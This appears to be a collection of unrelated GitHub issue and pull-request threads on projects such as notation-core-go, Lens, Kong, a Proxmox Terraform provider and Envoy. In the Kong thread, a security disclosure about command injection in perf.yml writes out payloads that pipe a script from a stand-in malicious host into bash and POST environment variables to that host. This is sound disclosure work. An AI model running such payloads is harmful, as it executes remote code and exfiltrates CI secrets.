This would mean tagging 0c1ec3be33eb1d3cfc9770f9abc86176ee4fb7e9 as v1.0.0 to release.
Vote
We need at least 4 approvals from 6 maintainers to release notation-core-go v1.0.0.

[x] Junjie Gao (@JeyJeyGao)
[ ] Milind Gokarn (@gokarnm)
[x] Patrick Zheng (@Two-Hearts)
[ ] Pritesh Bandi (@priteshbandi)
[ ] Rakesh Gariganti (@rgnote)
[x] Shiwei Zhang (@shizhMSFT)

Changes
The code changes compared to v1.0.0-rc.4 include:

#133
#151
#154
#153
#156

Full Changelog: https://github.com/notaryproject/notation-core-go/compare/v1.0.0-rc.4...0c1ec3be33eb1d3cfc9770f9abc86176ee4fb7e9
Action Requested
Please respond LGTM or REJECT (with reasoning).

LGTM

LGTM

LGTM

LGTM

Released v1.0.0


Invalid handling of JSON body data

https://github.com/apollo-server-integrations/apollo-server-integration-azure-functions/blob/d567e718247e688b7818acc6966a94099b76e68f/src/index.ts#L92-L93
When parsing the body of the request with a content-type of application/json, the body is expected as a string and converted. However, it seems that the body parameter passed from @azure/functions is actually already a parsed object with the following type definition:
    /**
     * The HTTP request body.
     * If the media type is 'application/octet-stream' or 'multipart/*', this will be a Buffer
     * If the value is a JSON parse-able string, this will be the parsed object
     * Otherwise, this will be a string
     */
    body?: any;

My bad - fixing with #23.


Switch auth framework from AWS Cognito to GCP Identity Platform/Firebase

Implements the following sign-in flow:

Compatibility

Migration is needed. I have a script that fetches all users from AWS Cognito and then creates these users on Firebase without a password. These users become "Existing Users (from AWS)" in the flow chart. I have tested this script in dev.
.env needs to be updated.
explainaboard_client should not be affected but a new version of the API (explainaboard_api_client) will be released.

Issues

Feel free to comment on the sign-in UI. I can make modifications.

@neubig I changed the background as you suggested. (Not sure if this is what you have in mind).
The background color is taken from the home page (@qjiang002 picked this color when she designed that page). I increase the value for the alpha tunnel to make it less transparent.

The "First & Last Name" field in the sign-in form is just the "Display Name". firebaseui decided to use this instead of just "Display Name" and they do not provide a way to customize it, unfortunately. (https://github.com/firebase/firebaseui-web/issues/41) If we really want to change it, I can copy firebaseui source code into our repository (it is just one js file, one CSS file and one ts type definition file), modify this label and package it with our frontend code. It requires more work to upgrade firebaseui in the future though.
Our verification email will be marked as spam by gmail. There is no way to modify the email content. I can try modifying the subject and sender to see if I can circumvent the gmail spam filter. I'll comment on this issue to give an update.

Sign-in UI
This is what an "Exiting User (from AWS)" sees when they sign in for the first time.

This is what a "New User (firebase)" sees when they sign up. The first two steps are the same as above so I'm skipping those.

After the user has confirmed their email, they can sign in as "Exiting User (firebase)".

An update on our verification/reset emails being marked as spam by Gmail:
Changing the subject and the sender of the email templates doesn't seem to do anything. I clicked "Report not spam" for these emails in my Gmail account and they can reach my inbox now. I am not sure if this "Report not spam" thing is a global thing or if it only affects my account.
I also added "Please check your spam folder" to the instructions on the sign-in page.


Cannot view workload after upgrading to Lens 5.3.2-latest.20211201.1 with restricted permissions

Describe the bug
After upgrading Lens from 5.2.x the Workloads section and most of the resources in the sidebar no longer load. We had allowed permissions so that users could list namespaces specifically so that they did not have to input the list of accessible namespaces manually.
To Reproduce

No full read access on the cluster
Permissions to get/list/watch on all namespaces
Full permissions on workloads in a specific namespace

Expected behavior
I am expecting to be able to see resources in namespaces that I have access to, like in previous Lens versions
Screenshots
Without specifying an accessible namespace in the cluster settings. Notice how almost all the resources are not loaded on the sidebar:

After specifying an accessible namespace in the cluster settings (this is the behavior that we were seeing in a previous version of Lens without having to specify the namespace), all the resources to which we have access are now back as it was prior to the update :

Environment (please complete the following information):

Lens Version: 5.3.2-latest.20211201.1
OS: Windows 10
Installation method (e.g. snap or AppImage in Linux): installed from executable on Lens website, updated to latest through auto-update mechanism.

Logs:
When you run the application executable from command line you will see some logging output. Please paste them here:
There are no relevant logs (no errors/warning) that show any kind of exception we would be encountering.
With developer tools, there are also no errors/warnings, everything seems fine.

Kubeconfig:
This is not Kubeconfig related as this was working prior to upgrading Lens.
Additional context
We had somewhat figured out the required RBAC through trial and error in previous versions as there is no clear Lens documentation on that topic. We do not want to give everyone full read access to the cluster.

I've the same problem after update.

Full permissions on workloads in a specific namespace

I believe this is an unfortunate duplicate of the main issue behind https://github.com/lensapp/lens/issues/1700
Namely we optimize for the first 10 namespaces, maybe the ordering changed?

Full permissions on workloads in a specific namespace

I believe this is an unfortunate duplicate of the main issue behind #1700
Namely we optimize for the first 10 namespaces, maybe the ordering changed?

When you say the ordering changed, you mean in our cluster?
If so no, and all users are affected by this, no issue in lens 5.2 or even 5.3.0 but completely broken in 5.3.2

If so no, and all users are affected by this, no issue in lens 5.2 or even 5.3.0 but completely broken in 5.3.2

You mean, some of the users are affected? Namely the ones using 5.3.2 but not the ones using 5.2.X?

If so no, and all users are affected by this, no issue in lens 5.2 or even 5.3.0 but completely broken in 5.3.2

You mean, some of the users are affected? Namely the ones using 5.3.2 but not the ones using 5.2.X?

Exactly

I've the same problem after update.

I got exactly this problem on my Mac. Have you found the solution for it ?

Okay So I rolled back to 5.2.7 and works fine

@Nokel81 can you please have to acknowledge this issue ? Thanks a lot

@Happin3ss Your metrics issue is not the same as the one mentioned in the OP. Please open a new issue.

@JonathanLachapelle I cannot reproduce this unfortunately. I


Security Update perf.yml

perf.yml is vulnerable to RCE via command injection in comment body.
Currently, the following block simply appends the comment body to the shell command. Since the comment body is under user's control, a malicious entity could create a comment such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, supply chain attack etc:
This script parses command inputs directly from the comment body of the GitHub event without sufficient input sanitization, allowing an attacker to inject malicious commands. The workflow is triggered under specific conditions:

On creation of a pull request
On creation of an issue comment
When the event is a pull request and the title starts with 'perf('
When the event is an issue comment, the action is 'created', the comment belongs to a pull request, the author of the comment is an owner, collaborator, or member, and the comment body starts with '/perf' or '/flamegraph'

An attacker could comment on a pull request or issue with a specially crafted message containing malicious shell commands, especially when the comment starts with '/perf' or '/flamegraph'. Here are two potential payloads that an attacker might use:
For Remote Code Execution (RCE):
/perf curl https://malicious-site.com/malicious-script.sh | bash
For stealing environment variables:
/perf env > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/
When the workflow runs, the script would interpret these injected commands, leading to Remote Code Execution (RCE). Since GitHub actions have access to secrets stored in environment variables, these commands could potentially access and exfiltrate these secrets, compromising the security of the repository or organization.
Checklist

[ ] The Pull Request has tests
[ ] There's an entry in the CHANGELOG
[ ] There is a user-facing docs PR against https://github.com/Kong/docs.konghq.com - PUT DOCS PR HERE

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Closing as this has been addressed elsewhere.


[3.0.1-rc2] Error refresh state USB passthrough device

Hi, migrates from 3.0.1-rc1 to 3.0.1-rc2 and fix error with USB passthrough device.
Proxmox VE cluster with version nodes: 8.0.4 and 8.2.2
Terraform - 1.8.4
USB manually config in VM by root and fix in .tfstate by terraform refresh.
Ignore changes in state VM from provider by this:
  lifecycle {
    ignore_changes = [
      usb
    ]
  }

In new version 3.0.1-rc2 error by terraform refresh or terraform plan:
│ Error: Invalid address to set: []string{"usb", "0", "id"}
│
│   with proxmox_vm_qemu._101_xxx,
│   on 101_xxx.tf line 3, in resource "proxmox_vm_qemu" "_101_xxx":
│    3: resource "proxmox_vm_qemu" "_101_xxx" {

Try this ignore_changes:
...
    ignore_changes = [
      usb[0]
    ]
...

or
...
    ignore_changes = [
      usb[0].host
      usb[0].usb3
    ]
...

Hi! Thank you!
Unfortunately this didn't help.

Hi! Thank you! Unfortunately this didn't help.

Can you share your config snippet with usb block/blocks?

The same error with hostpci section
Invalid address to set: []string{"hostpci", "0", "id"}

The same error with hostpci section Invalid address to set: []string{"hostpci", "0", "id"}
block:
    dynamic hostpci {
        for_each = var.vm_pci_devices
        content {
            host   = hostpci.value.id
            rombar = hostpci.value.rombar
            pcie   = hostpci.value.pcie
        }
    }

    vm_pci_devices = [
        { id = "0000:00:02", rombar = 1, pcie = 0 }
    ]

I'm not sure if you're using Terraform dynamic blocks correctly.

...
dynamic hostpci {
...

As per Terraform documentation it should be like this:
...
dynamic "hostpci" {
...

Are you sure the latest version of the provider supports hostpci?

I couldn't find anything similar in Temate provider documentation

you can use both variants: example of working dynamic block (network)

    dynamic network {
        for_each = var.vm_network_interfaces
        content {
            bridge   = network.value.bridge
            model    = network.value.model
            firewall = network.value.firewall
            tag      = network.value.vlan
        }
    }

So..it worked before, and it didn't say in the change notes that it no longer works :|
hostpci block was added in v2.9.14 (How to enable PCI passthrough #299)

(anyway it present in
https://github.com/Telmate/terraform-provider-proxmox/blob/d3fed178e06e9429e27e92094387e1ceef95e825/proxmox/resource_vm_qemu.go#L437
)

OK, but there is no official documentation that this can be done un such way...

Latest major version is v3, not v2
Present - doesn't mean that it really works :) and at the same time there is no documentation for this...
Here it is necessary to get comments from the developers.

Hi! Thank you! Unfortunately this didn't help.

Can you share your config snippet with usb block/blocks?

Block with USB commented out and don`t use.
Cause:
User for provider on ProxMox VE cluster has no rights for configure USB passthrought. USB configuration is available only to the user root. This is a limitation ProxMox VE.
Therefore, we set it up manually and ignore USB in config provider.

Block with USB commented out and don`t use.
Therefore, we set it up manually and ignore USB in config provider.
Uncommenting the block gives the same error.

Seems something you are doing wrong...
Unfortunately, without all the details I can’t say what exactly is wrong.

User for provider on ProxMox VE cluster has no rights for configure USB passthrought. USB configuration is available only to the user root. This is a limitation ProxMox VE.

As for this, check and try out this Proxmox Forum thread:

Only root@pam is now allowed to clone and restore guests with passed through PCI/USB devices that are not using the new mapping feature. To allow regular users to clone and restore with PCI/USB devices, create a mapping and give the user 'Mapping.Use' on that.

You can try as well use other Mapping privileges for that:
Mapping.Audit: view resource mappings
Mapping.Modify: manage resource mappings
Mapping.Use: use resource mappings

@maksimsamt Thanks for the information about the directive Mapping.Use!
I'll try it and post the results.

Hello. After updating from version 3.0.1-rc1 to version 3.0.1-rc3, I encountered the same error for VMs to which I added PCI-e device mapping. How can I add an ignore rule for devices that I added myself?

I am getting the same error when using usb like it's documented:
  usb {
    host = "051d:0002"
    usb3 = false
  }

Did some bisecting of the plugin and is the commit that introduced the change: https://github.com/Telmate/terraform-provider-proxmox/commit/819869a1c9f337fc940f1b97613d7b5d8fd11c9c. I don't know the code, maybe before the change the data from the proxmox API was just ignored and never put into the state because it didn't/doesn't match the expected format?

Hello, any news on that? I've created machine using root account for authentication everything worked as expected including usb creation but after that i can no longer run terraform refresh or terraform plan because of the same error. I've already tried adding different combinations to ignore_changes block but none of them is working

Same here:
Error: Invalid address to set: []string{"usb", "0", "id"}

Does not matter if I add the USB passthrough through the webui or the TF itself.

@lucian-tx fixed a similar issue for the hostpci config. I applied the same path to usb devices in #1077, which fixes this issue for me.

@lucian-tx fixed a similar issue for the hostpci config. I applied the same path to usb devices in #1077, which fixes this issue for me.

Thanks, this fixed it for me.

I just tried it and I don't get this error anymore:
Error: Invalid address to set: []string{"usb", "0", "id"}
The only change I'm aware of is updating the proxmox terraform provider to version 3.0.1-rc4

Currently working on a fix. It will also ad support for mapped USB devices, so it will be feature complete with the PVE 8.2 GUI.


Add POMODORO_USER dir for the config files in the ~/.cache/pomodoro directory

Fixes issue #42

Thanks this looks great. Could I ask you just to rename the dir tmux_pomodoro_plus instead of pomodoro?

Sorry for the late response, had some things to do.
I made a new commit with the directory name change :)

Awesome thanks so much!


[python emitter] update tcgc and switch to use doc and summary

update to tcgc 0.46.2 and remove deprecated usage of doc

No changes needing a change description found.

You can try these changes here

🛝 Playground
🌐 Website
📚 Next docs


decompressor: fixing a bug for requests with added trailers

Risk Level: Medium: filter chain change but only (?) for added trailers
Testing: new integration test
Docs Changes: n/a
Release Notes: inline
Runtime guard: envoy.reloadable_features.fix_added_trailers
h/t to @rgs1 for the bug report, and writing the integration test!
Co-authored-by: @rgs1

Oops:
RSTChecker NOTICE [current_version] Running check
RSTChecker ERROR [current_version] (docs/root/version_history/current.rst:76) Backticks should come in pairs (except for links and refs): * compressor: fix a bug where if trailers were added and a subsequent filter paused the filter chain, the request could be stalled. This behavior can be reverted by setting `envoy.reloadable_features.fix_added_trailers` to false.
RSTChecker ERROR [current_version] (docs/root/version_history/current.rst:77) Version history not in alphabetical order (compressor vs aws request signer): please check placement of line